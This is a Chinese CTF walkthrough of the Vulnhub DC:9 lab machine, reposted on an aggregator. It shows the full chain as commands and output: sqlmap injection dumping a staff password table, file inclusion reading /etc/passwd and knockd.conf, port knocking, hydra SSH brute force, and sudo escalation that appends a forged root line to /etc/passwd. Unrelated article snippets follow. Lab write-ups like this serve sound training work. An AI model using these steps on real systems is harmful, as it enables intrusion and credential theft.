Vulnhub——DC:9

文章目录

  • Information collection
  • Penetration
    • 1、sql注入拿到网页账户
    • 2、文件包含获取系统低权限账户
    • 3、sudo提权

Information collection

└─# arp-scan -l
	Interface: eth0, type: EN10MB, MAC: 08:00:27:67:e3:7c, IPv4: 192.168.155.245
	Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
	192.168.155.53  be:af:f1:34:d9:5b       (Unknown: locally administered)
	192.168.155.108 08:00:27:72:2c:9f       PCS Systemtechnik GmbH
	192.168.155.227 30:03:c8:49:52:4d       CLOUD NETWORK TECHNOLOGY SINGAPORE PTE. LTD.
	
	5 packets received by filter, 0 packets dropped by kernel
	Ending arp-scan 1.10.0: 256 hosts scanned in 1.986 seconds (128.90 hosts/sec). 3 responded
└─# nmap 192.168.155.108
	Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-30 09:00 EDT
	Nmap scan report for 192.168.155.108
	Host is up (0.000066s latency).
	Not shown: 998 closed tcp ports (reset)
	PORT   STATE    SERVICE
	22/tcp filtered ssh
	80/tcp open     http
	MAC Address: 08:00:27:72:2C:9F (Oracle VirtualBox virtual NIC)
	
	Nmap done: 1 IP address (1 host up) scanned in 0.18 seconds
└─# nmap -T4 -A -p- 192.168.155.108
	Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-30 09:01 EDT
	Nmap scan report for 192.168.155.108
	Host is up (0.00027s latency).
	Not shown: 65533 closed tcp ports (reset)
	PORT   STATE    SERVICE VERSION
	22/tcp filtered ssh
	80/tcp open     http    Apache httpd 2.4.38 ((Debian))
	|_http-title: Example.com - Staff Details - Welcome
	|_http-server-header: Apache/2.4.38 (Debian)
	MAC Address: 08:00:27:72:2C:9F (Oracle VirtualBox virtual NIC)
	Device type: general purpose
	Running: Linux 3.X|4.X
	OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
	OS details: Linux 3.2 - 4.9
	Network Distance: 1 hop
	
	TRACEROUTE
	HOP RTT     ADDRESS
	1   0.27 ms 192.168.155.108
	
	OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
	Nmap done: 1 IP address (1 host up) scanned in 12.62 seconds
└─# cat /root/reports/http_192.168.155.108/reports/http_192.168.155.108/_24-04-30_08-56-40.txt | grep "200"  # dirsearch生成的报告
	200     0B   http://192.168.155.108/config.php
	200  1001B   http://192.168.155.108/display.php
	200   409B   http://192.168.155.108/includes/
	200   548B   http://192.168.155.108/manage.php
	200   485B   http://192.168.155.108/search.php
└─# whatweb -v 192.168.155.108
	WhatWeb report for http://192.168.155.108
	Status    : 200 OK
	Title     : Example.com - Staff Details - Welcome
	IP        : 192.168.155.108
	Country   : RESERVED, ZZ
	
	Summary   : Apache[2.4.38], HTML5, HTTPServer[Debian Linux][Apache/2.4.38 (Debian)]
	
	Detected Plugins:
	[ Apache ]
	        The Apache HTTP Server Project is an effort to develop and 
	        maintain an open-source HTTP server for modern operating 
	        systems including UNIX and Windows NT. The goal of this 
	        project is to provide a secure, efficient and extensible 
	        server that provides HTTP services in sync with the current 
	        HTTP standards. 
	
	        Version      : 2.4.38 (from HTTP Server Header)
	        Google Dorks: (3)
	        Website     : http://httpd.apache.org/
	
	[ HTML5 ]
	        HTML version 5, detected by the doctype declaration 
	
	
	[ HTTPServer ]
	        HTTP server header string. This plugin also attempts to 
	        identify the operating system from the server header. 
	
	        OS           : Debian Linux
	        String       : Apache/2.4.38 (Debian) (from server string)
	
	HTTP Headers:
	        HTTP/1.1 200 OK
	        Date: Thu, 02 May 2024 06:34:43 GMT
	        Server: Apache/2.4.38 (Debian)
	        Vary: Accept-Encoding
	        Content-Encoding: gzip
	        Content-Length: 402
	        Connection: close
	        Content-Type: text/html; charset=UTF-8

Penetration

1、sql注入拿到网页账户

访问80,四个页面:Home、Display All Records、Search、Manage,后两个可能存在sql注入,输入任意值后点击submit,bp抓到包后保存为文件,sqlmap一把嗦

└─$ sqlmap -r search.txt
	        ___
	       __H__                                                                                                                                                
	 ___ ___[']_____ ___ ___  {1.8.4#stable}                                                                                                                    
	|_ -| . [)]     | .'| . |                                                                                                                                   
	|___|_  [']_|_|_|__,|  _|                                                                                                                                   
	      |_|V...       |_|   https://sqlmap.org                                                                                                                
	
	[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
	
	[*] starting @ 14:57:16 /2024-05-02/
	
	[14:57:16] [INFO] parsing HTTP request from 'search.txt'
	[14:57:16] [INFO] resuming back-end DBMS 'mysql' 
	[14:57:16] [INFO] testing connection to the target URL
	sqlmap resumed the following injection point(s) from stored session:
	---
	Parameter: search (POST)
	    Type: time-based blind
	    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
	    Payload: search=1' AND (SELECT 7228 FROM (SELECT(SLEEP(5)))XgYb) AND 'KmwZ'='KmwZ
	
	    Type: UNION query
	    Title: Generic UNION query (NULL) - 6 columns
	    Payload: search=1' UNION ALL SELECT NULL,NULL,CONCAT(0x716b626271,0x71596c707351546e766870726e71486452574d47536b6e49614677595a4a6a516f694d66794b6b76,0x716a6b7071),NULL,NULL,NULL-- -
	---
	[14:57:16] [INFO] the back-end DBMS is MySQL
	web server operating system: Linux Debian 10 (buster)
	web application technology: Apache 2.4.38
	back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
	[14:57:16] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/192.168.155.108'
	
	[*] ending @ 14:57:16 /2024-05-02/

显示存在注入,继续

database
	└─$ sqlmap -r search.txt --batch --current-db
			current database: 'Staff'
table
	└─$ sqlmap -r search.txt --batch -D Staff --tables
		+--------------+
		| StaffDetails |
		| Users        |
		+--------------+
column
	└─$ sqlmap -r search.txt --batch -D Staff -T Users --columns
		+----------+-----------------+
		| Column   | Type            |
		+----------+-----------------+
		| Password | varchar(255)    |
		| UserID   | int(6) unsigned |
		| Username | varchar(255)    |
		+----------+-----------------+
content
	└─$ sqlmap -r search.txt --batch -D Staff -T Users -C Password,UserID,Username --dump
		Database: Staff
		Table: Users
		[1 entry]
		+----------------------------------+--------+----------+
		| Password                         | UserID | Username |
		+----------------------------------+--------+----------+
		| 856f5de590ef37314e7c3bdf6f8a66dc | 1      | admin    |
		+----------------------------------+--------+----------+

识别加密类型

└─$ hash-identifier
	   #########################################################################
	   #     __  __                     __           ______    _____           #
	   #    /\ \/\ \                   /\ \         /\__  _\  /\  _ `\         #
	   #    \ \ \_\ \     __      ____ \ \ \___     \/_/\ \/  \ \ \/\ \        #
	   #     \ \  _  \  /'__`\   / ,__\ \ \  _ `\      \ \ \   \ \ \ \ \       #
	   #      \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \      \_\ \__ \ \ \_\ \      #
	   #       \ \_\ \_\ \___ \_\/\____/  \ \_\ \_\     /\_____\ \ \____/      #
	   #        \/_/\/_/\/__/\/_/\/___/    \/_/\/_/     \/_____/  \/___/  v1.2 #
	   #                                                             By Zion3R #
	   #                                                    www.Blackploit.com #
	   #                                                   Root@Blackploit.com #
	   #########################################################################
	--------------------------------------------------
	 HASH: 856f5de590ef37314e7c3bdf6f8a66dc
	
	Possible Hashs:
	[+] MD5
	[+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))
	
	Least Possible Hashs:
	[+] RAdmin v2.x
	[+] NTLM
	[+] MD4
	[+] MD2
	[+] MD5(HMAC)
	[+] MD4(HMAC)
	[+] MD2(HMAC)
	[+] MD5(HMAC(Wordpress))
	[+] Haval-128
	[+] Haval-128(HMAC)
	[+] RipeMD-128
	[+] RipeMD-128(HMAC)
	[+] SNEFRU-128
	[+] SNEFRU-128(HMAC)
	[+] Tiger-128
	[+] Tiger-128(HMAC)
	[+] md5($pass.$salt)
	[+] md5($salt.$pass)
	[+] md5($salt.$pass.$salt)
	[+] md5($salt.$pass.$username)
	[+] md5($salt.md5($pass))
	[+] md5($salt.md5($pass))
	[+] md5($salt.md5($pass.$salt))
	[+] md5($salt.md5($pass.$salt))
	[+] md5($salt.md5($salt.$pass))
	[+] md5($salt.md5(md5($pass).$salt))
	[+] md5($username.0.$pass)
	[+] md5($username.LF.$pass)
	[+] md5($username.md5($pass).$salt)
	[+] md5(md5($pass))
	[+] md5(md5($pass).$salt)
	[+] md5(md5($pass).md5($salt))
	[+] md5(md5($salt).$pass)
	[+] md5(md5($salt).md5($pass))
	[+] md5(md5($username.$pass).$salt)
	[+] md5(md5(md5($pass)))
	[+] md5(md5(md5(md5($pass))))
	[+] md5(md5(md5(md5(md5($pass)))))
	[+] md5(sha1($pass))
	[+] md5(sha1(md5($pass)))
	[+] md5(sha1(md5(sha1($pass))))
	[+] md5(strtoupper(md5($pass)))
	--------------------------------------------------
# 大概率为md5

尝试用john和hashcat均无果

└─# hashcat -m 0 -a 0 passwd_test.txt /root/rockyou.txt

可能是字典不够大,尝试在线md5解密,得到transorbital1

2、文件包含获取系统低权限账户

登录后多了Add Record和Log Out选项,在Add Record中尝试写马发现不解析。继而在下方发现File does not exist,猜测文件包含漏洞。

bp抓包,使用其自带的文件参数名字典File names-short,爆出参数为file,访问http://192.168.155.108/manage.php?file=../../../../../../../etc/passwd发现有很多用户,可能设置了ssh登录,但手上没密码,继续回到数据库中找线索

# 发现还有个users库

dbs
	└─$ sqlmap -r search.txt --batch --dbs
		available databases [3]:
		[*] information_schema
		[*] Staff
		[*] users
tables
	└─$ sqlmap -r search.txt --batch -D users --tables
		Database: users
		[1 table]
		+-------------+
		| UserDetails |
		+-------------+
columns
	└─$ sqlmap -r search.txt --batch -D users -T UserDetails --columns
		Database: users
		Table: UserDetails
		[6 columns]
		+-----------+-----------------+
		| Column    | Type            |
		+-----------+-----------------+
		| firstname | varchar(30)     |
		| id        | int(6) unsigned |
		| lastname  | varchar(30)     |
		| password  | varchar(20)     |
		| reg_date  | timestamp       |
		| username  | varchar(30)     |
		+-----------+-----------------+
contents
	└─$ sqlmap -r search.txt --batch -D users -T UserDetails -C id,username,password --dump
		Database: users
		Table: UserDetails
		[17 entries]
		+----+-----------+---------------+
		| id | username  | password      |
		+----+-----------+---------------+
		| 1  | marym     | 3kfs86sfd     |
		| 2  | julied    | 468sfdfsd2    |
		| 3  | fredf     | 4sfd87sfd1    |
		| 4  | barneyr   | RocksOff      |
		| 5  | tomc      | TC&TheBoyz    |
		| 6  | jerrym    | B8m#48sd      |
		| 7  | wilmaf    | Pebbles       |
		| 8  | bettyr    | BamBam01      |
		| 9  | chandlerb | UrAG0D!       |
		| 10 | joeyt     | Passw0rd      |
		| 11 | rachelg   | yN72#dsd      |
		| 12 | rossg     | ILoveRachel   |
		| 13 | monicag   | 3248dsds7s    |
		| 14 | phoebeb   | smellycats    |
		| 15 | scoots    | YR3BVxxxw87   |
		| 16 | janitor   | Ilovepeepee   |
		| 17 | janitor2  | Hawaii-Five-0 |
		+----+-----------+---------------+

将数据库中的用户名、密码保存下来做字典

└─$ cat /home/kali/.local/share/sqlmap/output/192.168.155.108/dump/users/UserDetails.csv | awk -F "," '{print($2)}'
	username
	marym
	julied
	fredf
	barneyr
	tomc
	jerrym
	wilmaf
	bettyr
	chandlerb
	joeyt
	rachelg
	rossg
	monicag
	phoebeb
	scoots
	janitor
	janitor2


┌──(kali㉿kali)-[~/Downloads]
└─$ cat /home/kali/.local/share/sqlmap/output/192.168.155.108/dump/users/UserDetails.csv | awk -F "," '{print($2)}' > D9_username.txt

┌──(kali㉿kali)-[~/Downloads]
└─$ cat /home/kali/.local/share/sqlmap/output/192.168.155.108/dump/users/UserDetails.csv | awk -F "," '{print($3)}'
	password
	3kfs86sfd
	468sfdfsd2
	4sfd87sfd1
	RocksOff
	TC&TheBoyz
	B8m#48sd
	Pebbles
	BamBam01
	UrAG0D!
	Passw0rd
	yN72#dsd
	ILoveRachel
	3248dsds7s
	smellycats
	YR3BVxxxw87
	Ilovepeepee
	Hawaii-Five-0


┌──(kali㉿kali)-[~/Downloads]
└─$ cat /home/kali/.local/share/sqlmap/output/192.168.155.108/dump/users/UserDetails.csv | awk -F "," '{print($3)}' > D9_passwd.txt 

在信息搜集时,nmap标识目标ssh服务是filtered(已过滤),这大概率涉及到knockd
knockd服务
简介:
敲门端口服务,通过动态的添加iptables规则来隐藏系统开启的服务,使用自定义的一系列序列号来“敲门”,,使系统开启需要访问的服务端口,才能对外访问,不使用时,再使用自定义序列号来“关门”,将端口关闭,不对外监听,该服务进一步提升了服务和系统的安全性
用法:
通过默认配置文件/etc/knockd.conf查看序列号,依序 ‘敲击’ 指定端口 (port knocking)

http://192.168.155.108/manage.php?file=../../../../../../../etc/knockd.conf,包含后内容如下

[options] UseSyslog [openSSH] sequence = 7469,8475,9842 seq_timeout = 25 command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn [closeSSH] sequence = 9842,8475,7469 seq_timeout = 25 command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn

按文件中顺序依次敲击看到ssh变为open

└─# nmap -p 7469 192.168.155.108
nmap -p 8475 192.168.155.108
nmap -p 9842 192.168.155.108
	Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-04 11:20 EDT
	Nmap scan report for 192.168.155.108
	Host is up (0.00018s latency).
	
	PORT     STATE  SERVICE
	7469/tcp closed unknown
	MAC Address: 08:00:27:72:2C:9F (Oracle VirtualBox virtual NIC)
	
	Nmap done: 1 IP address (1 host up) scanned in 0.14 seconds
	Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-04 11:20 EDT
	Nmap scan report for 192.168.155.108
	Host is up (0.00020s latency).
	
	PORT     STATE  SERVICE
	8475/tcp closed unknown
	MAC Address: 08:00:27:72:2C:9F (Oracle VirtualBox virtual NIC)
	
	Nmap done: 1 IP address (1 host up) scanned in 0.13 seconds
	Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-04 11:20 EDT
	Nmap scan report for 192.168.155.108
	Host is up (0.00018s latency).
	
	PORT     STATE  SERVICE
	9842/tcp closed unknown
	MAC Address: 08:00:27:72:2C:9F (Oracle VirtualBox virtual NIC)
	
	Nmap done: 1 IP address (1 host up) scanned in 0.22 seconds

┌──(root㉿anla)-[~]
└─# nmap 192.168.155.108
	Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-04 11:20 EDT
	Nmap scan report for 192.168.155.108
	Host is up (0.00021s latency).
	Not shown: 998 closed tcp ports (reset)
	PORT   STATE SERVICE
	22/tcp open  ssh
	80/tcp open  http
	MAC Address: 08:00:27:72:2C:9F (Oracle VirtualBox virtual NIC)
	
	Nmap done: 1 IP address (1 host up) scanned in 0.18 seconds

hydra使用字典爆破出3个

└─# hydra -L D9_username.txt -P D9_passwd.txt ssh://192.168.155.108
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-05-04 11:28:40
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 361 login tries (l:19/p:19), ~23 tries per task
[DATA] attacking ssh://192.168.155.108:22/
[22][ssh] host: 192.168.155.108   login: chandlerb   password: UrAG0D! 
[22][ssh] host: 192.168.155.108   login: joeyt   password: Passw0rd 
[STATUS] 318.00 tries/min, 318 tries in 00:01h, 45 to do in 00:01h, 14 active
[22][ssh] host: 192.168.155.108   login: janitor   password: Ilovepeepee
1 of 1 target successfully completed, 3 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-05-04 11:29:50

# 
login: chandlerb   password: UrAG0D! 
login: joeyt   password: Passw0rd 
login: janitor   password: Ilovepeepee

依次登录找寻提权clue

└─# ssh chandlerb@192.168.155.108
	The authenticity of host '192.168.155.108 (192.168.155.108)' can't be established.
	ED25519 key fingerprint is SHA256:QqKiAU3zrowiN9K1SVvmSWvLBZAqdSpT0aMLTwGlyvo.
	This key is not known by any other names.
	Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
	Warning: Permanently added '192.168.155.108' (ED25519) to the list of known hosts.
	chandlerb@192.168.155.108's password: 
	Linux dc-9 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u2 (2019-11-11) x86_64
	
	The programs included with the Debian GNU/Linux system are free software;
	the exact distribution terms for each program are described in the
	individual files in /usr/share/doc/*/copyright.
	
	Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
	permitted by applicable law.
	chandlerb@dc-9:~$ ls -a
	.  ..  .bash_history  .gnupg
	chandlerb@dc-9:~$ exit
	logout
	Connection to 192.168.155.108 closed.

┌──(root㉿anla)-[~]
└─# ssh joeyt@192.168.155.108
	joeyt@192.168.155.108's password: 
	Linux dc-9 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u2 (2019-11-11) x86_64
	
	The programs included with the Debian GNU/Linux system are free software;
	the exact distribution terms for each program are described in the
	individual files in /usr/share/doc/*/copyright.
	
	Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
	permitted by applicable law.
	joeyt@dc-9:~$ ls -a
	.  ..  .bash_history  .gnupg
	joeyt@dc-9:~$ exit
	logout
	Connection to 192.168.155.108 closed.

┌──(root㉿anla)-[~]
└─# ssh janitor@192.168.155.108
	janitor@192.168.155.108's password: 
	Linux dc-9 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u2 (2019-11-11) x86_64
	
	The programs included with the Debian GNU/Linux system are free software;
	the exact distribution terms for each program are described in the
	individual files in /usr/share/doc/*/copyright.
	
	Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
	permitted by applicable law.
	janitor@dc-9:~$ ls -a
	.  ..  .bash_history  .gnupg  .secrets-for-putin
	janitor@dc-9:~$ cd .secrets-for-putin/
	janitor@dc-9:~/.secrets-for-putin$ ls
	passwords-found-on-post-it-notes.txt
	janitor@dc-9:~/.secrets-for-putin$ cat passwords-found-on-post-it-notes.txt 
	BamBam01
	Passw0rd
	smellycats
	P0Lic#10-4
	B4-Tru3-001
	4uGU5T-NiGHts
	janitor@dc-9:~/.secrets-for-putin$ ^C
	janitor@dc-9:~/.secrets-for-putin$ exit
	logout
	Connection to 192.168.155.108 closed.

将在janitor用户的home目录下找到的隐藏密码文件写入我们的字典后继续爆破得到一个新结果

┌──(root㉿anla)-[~]
└─# echo "BamBam01
	Passw0rd
	smellycats
	P0Lic#10-4
	B4-Tru3-001
	4uGU5T-NiGHts" >> D9_passwd.txt 

┌──(root㉿anla)-[~]
└─# tail D9_passwd.txt 
	YR3BVxxxw87
	Ilovepeepee
	Hawaii-Five-0
	BamBam01
	Passw0rd
	smellycats
	P0Lic#10-4
	B4-Tru3-001
	4uGU5T-NiGHts

┌──(root㉿anla)-[~]
└─# hydra -L D9_username.txt -P D9_passwd.txt ssh://192.168.155.108
	Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
	
	Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-05-04 12:47:43
	[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
	[DATA] max 16 tasks per 1 server, overall 16 tasks, 475 login tries (l:19/p:25), ~30 tries per task
	[DATA] attacking ssh://192.168.155.108:22/
	[22][ssh] host: 192.168.155.108   login: fredf   password: B4-Tru3-001
	[22][ssh] host: 192.168.155.108   login: chandlerb   password: UrAG0D!
	[22][ssh] host: 192.168.155.108   login: joeyt   password: Passw0rd
	[STATUS] 350.00 tries/min, 350 tries in 00:01h, 126 to do in 00:01h, 15 active
	[22][ssh] host: 192.168.155.108   login: janitor   password: Ilovepeepee
	1 of 1 target successfully completed, 4 valid passwords found
	Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-05-04 12:49:09

# 
login: fredf   password: B4-Tru3-001

3、sudo提权

ssh登录后通过sudo -l找到提权文件位置

└─# ssh fredf@192.168.155.108                                                                                                                      
fredf@192.168.155.108's password:                                                                                                                          
Linux dc-9 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u2 (2019-11-11) x86_64                                                                              
                                                                                                                                                           
The programs included with the Debian GNU/Linux system are free software;                                                                                  
the exact distribution terms for each program are described in the                                                                                         
individual files in /usr/share/doc/*/copyright.                                                                                                            
                                                                                                                                                           
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent                                                                                          
permitted by applicable law.                                                                                                                               
fredf@dc-9:~$ ls -a                                                                                                                                        
.  ..  .bash_history  .gnupg                                                                                                                               
fredf@dc-9:~$ id
uid=1003(fredf) gid=1003(fredf) groups=1003(fredf) 
fredf@dc-9:~$ sudo -l
Matching Defaults entries for fredf on dc-9:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User fredf may run the following commands on dc-9:
    (root) NOPASSWD: /opt/devstuff/dist/test/test

尝试执行后提示read append,分析文件内容得知需要3个参数才能完成相应功能

fredf@dc-9:/opt/devstuff/dist/test$ ./test
Usage: python test.py read append

fredf@dc-9:/opt/devstuff/dist/test$ find / -name test.py -print 2>/dev/null
/opt/devstuff/test.py
/usr/lib/python3/dist-packages/setuptools/command/test.py
fredf@dc-9:/opt/devstuff/dist/test$ cat /opt/devstuff/test.py
#!/usr/bin/python

import sys

if len (sys.argv) != 3 :   # 当没有传入三个参数时
    print ("Usage: python test.py read append")
    sys.exit (1)

else :
    f = open(sys.argv[1], "r")  # r 读取
    output = (f.read())

    f = open(sys.argv[2], "a")  # a 追加
    f.write(output)
    f.close()
# 在Python中,`sys.argv` 是一个从Python标准库 `sys` 模块中获取的列表,它包含了从命令行传递给Python脚本的参数。具体来说,`sys.argv[0]` 是脚本的名称(当脚本是作为直接执行的程序时),而 `sys.argv[1]`、`sys.argv[2]` 等则是传递给脚本的额外参数。
# 1. 第一个参数(`sys.argv[1]`)应该是一个文件的路径,脚本将从这个文件中读取内容。
# 2. 第二个参数(`sys.argv[2]`)也应该是一个文件的路径,脚本将把从第一个文件中读取的内容追加到这个文件的末尾。

使用openssl生成密文加上额外信息后写入临时目录下,执行test后,使用su命令成功切换账户

fredf@dc-9:/opt/devstuff/dist/test$ openssl passwd -1 -salt anla 123456  # -1 使用md5   -salt anla  指定盐为anla
$1$anla$sxcCv2GGTDfkmclvnMXq0.
fredf@dc-9:/opt/devstuff/dist/test$ echo 'anla:$1$anla$sxcCv2GGTDfkmclvnMXq0.:0:0:root:/bin/bash' > /tmp/anla
fredf@dc-9:/opt/devstuff/dist/test$ ./test /tmp/anla /etc/passwd
Traceback (most recent call last):
  File "test.py", line 13, in <module>
PermissionError: [Errno 13] Permission denied: '/etc/passwd'
[884] Failed to execute script test
fredf@dc-9:/opt/devstuff/dist/test$ sudo ./test /tmp/anla /etc/passwd
fredf@dc-9:/opt/devstuff/dist/test$ su - anla
Password: 
su: warning: cannot change directory to /bin/bash: Not a directory
# id
uid=0(root) gid=0(root) groups=0(root)
# cd /root
# ls
theflag.txt
# cat theflag.txt


███╗   ██╗██╗ ██████╗███████╗    ██╗    ██╗ ██████╗ ██████╗ ██╗  ██╗██╗██╗██╗
████╗  ██║██║██╔════╝██╔════╝    ██║    ██║██╔═══██╗██╔══██╗██║ ██╔╝██║██║██║
██╔██╗ ██║██║██║     █████╗      ██║ █╗ ██║██║   ██║██████╔╝█████╔╝ ██║██║██║
██║╚██╗██║██║██║     ██╔══╝      ██║███╗██║██║   ██║██╔══██╗██╔═██╗ ╚═╝╚═╝╚═╝
██║ ╚████║██║╚██████╗███████╗    ╚███╔███╔╝╚██████╔╝██║  ██║██║  ██╗██╗██╗██╗
╚═╝  ╚═══╝╚═╝ ╚═════╝╚══════╝     ╚══╝╚══╝  ╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═╝╚═╝╚═╝╚═╝
                                                                             
Congratulations - you have done well to get to this point.

Hope you enjoyed DC-9.  Just wanted to send out a big thanks to all those
who have taken the time to complete the various DC challenges.

I also want to send out a big thank you to the various members of @m0tl3ycr3w .

They are an inspirational bunch of fellows.

Sure, they might smell a bit, but...just kidding.  :-)

Sadly, all things must come to an end, and this will be the last ever
challenge in the DC series.

So long, and thanks for all the fish.

这里说明一下最后一步的原理:
openssl,它的作用是计算密码hash。ssh登录的规则是先检索/etc/passwd中有无登录的用户名,无则跳出,有则读取/etc/shadow中的密码,无则使用/etc/passwd中的密码,验证正确后继续读取剩下的信息username:passwd:uid:gid:GECOS(描述信息):home_directory:shell

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/593526.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

[ARM系列]coresight(一)

原文链接 目的&#xff1a;对复杂SOC实现debug和trace的架构 典型环境 包含&#xff1a;2个ARM core&#xff0c;一个DSP&#xff0c;众多coresight组件 coresight组件实现对core、DSP的debug和trace功能 环境中包含3个通路 trace通路&#xff1a;将core和DSP内部信息输出到…

【机器学习-21】集成学习---Bagging之随机森林(RF)

【机器学习】集成学习---Bagging之随机森林&#xff08;RF&#xff09; 一、引言1. 简要介绍集成学习的概念及其在机器学习领域的重要性。2. 引出随机森林作为Bagging算法的一个典型应用。 二、随机森林原理1. Bagging算法的基本思想2. 随机森林的构造3. 随机森林的工作机制 三…

【C++】学习笔记——vector_3

文章目录 七、vector3. vector的模拟实现4. vector实现代码整合 未完待续 七、vector 3. vector的模拟实现 上篇文章我们讲解了非常 玄幻 的拷贝构造函数&#xff0c;同样的方法&#xff0c;我们也能用这种方法来实现 赋值重载函数 。 void swap(vector<T>& v) {s…

【Linux 网络】网络基础(一)(局域网、广域网、网络协议、TCP/IP结构模型、网络传输、封装和分用)-- 详解

一、计算机网络的发展背景 1、网络的定义 网络是指将多个计算机或设备通过通信线路、传输协议和网络设备连接起来&#xff0c;形成一个相互通信和共享资源的系统。 &#xff08;1&#xff09; 独立模式 独立模式 &#xff1a; 计算机之间相互独立。 &#xff08;2&#xff09;…

C语言二分查找的区间问题

概念 什么是二分查找呢&#xff1f; 二分查找&#xff1a;在有序数组中查找某一特定元素的搜索算法。 二分查找又称折半查找&#xff0c;通过将数组折半&#xff0c;用中间值和查找值作比较&#xff0c;多次使用&#xff0c;直到找到要查找的值。 注意:二分查找的前提是&#…

【xxl-job | 第二篇】Windows源码安装xxl-job

文章目录 2.Windows源码安装xxl-Job2.1拉取源码2.2IDEA导入2.3初始数据库数据2.4修改properties配置2.5启动admin并进入任务管理后台2.6jar包运行&#xff08;部署到Linux服务器上&#xff09;2.6.1打包2.6.2在xxl-job-admin打开jar包目录2.6.3cmd运行jar包 2.Windows源码安装x…

贪心,蓝桥杯真题 [巧克力]

一、题目 1、题目描述 2、输入输出 2.1输入 2.2输出 3、原题链接 2.巧克力 - 蓝桥云课 (lanqiao.cn) 二、解题报告 1、思路分析 做法&#xff1a;我们将巧克力按照价格升序排序&#xff0c;然后顺序枚举巧克力wi&#xff0c;查找小于等于bi的日期中最大的未被选择日期&…

代码审计之浅谈RASP技术

前言&#xff1a; 想摆会烂&#xff0c;所以就落个笔吧。 其实本来是想写关于iast技术的&#xff0c;但是认真思考了下&#xff0c;感觉笔者自己本身也不太能讲清楚iast技术&#xff0c;怕误人子弟。 所以最后还是基于笔者的理解以及实际应用写一篇关于RASP技术的文章&#xf…

使用memcache 和 redis 、 实现session 会话复制和保持

一、NoSQL介绍 NoSQL是对Not Only SQL、非传统关系型数据库的统称 NoSQL一词诞生于1998年&#xff0c;2009年这个词汇再次提出指非关系型、分布式、不提供ACID的数据库设计模式 随着互联网时代的数据爆发时增长、数据库技术发展的日新月异&#xff0c;要适应新的业务需求&am…

【网络通信】Windows搭建RTMP视频流服务器(含推流/拉流详细教程)

RTMP&#xff08;Real-Time Messaging Protocol&#xff09;是一种用于实时流媒体传输的网络协议&#xff0c;主要用于传输音频、视频和数据。RTMP最初是由Adobe Systems公司开发的&#xff0c;用于其Flash平台和Adobe Media Server&#xff0c;但随着技术的发展和开源社区的推…

数据结构学习/复习6---双向链表的实现/随机指针链表练习/顺序表与链表对比/存储体系简述

一、链表的结构*8 二、带头双向循环链表的实现 注意事项1&#xff1a;是否需要断言于实际情况中传来的指针是否可以为空&#xff0c;不可以则要断言 三、链表、指针、拷贝经典练习题 四、顺序表与链表总结对比

通过helm在k8s上安装minio

1 helm安装minio 1.1 下载minio 添加仓库 helm repo add bitnami https://charts.bitnami.com/bitnami 将minio拉取下来 helm pull bitnami/minio --version 版本号 解压到本地开始编辑配置文件 tar -zxf minio-xxx.tgz [rootk8s-master01 minio]# vi values.yaml 1.2…

【C语言】简单有趣的扫雷游戏

**©作者:末央&#xff06; ©系列:C语言初阶(适合小白入门) ©说明:以凡人之笔墨&#xff0c;书写未来之大梦 目录 一、分析游戏规则二、分文件三、菜单实现四、游戏内容核心实现1.初始化棋盘2.打印棋盘3.布置雷4.排查雷5.game()函数实现调用 五、全部源码 一、分…

二维泊松方程(Neumann+Direchliet边界条件)有限元Matlab编程求解|程序源码+说明文本

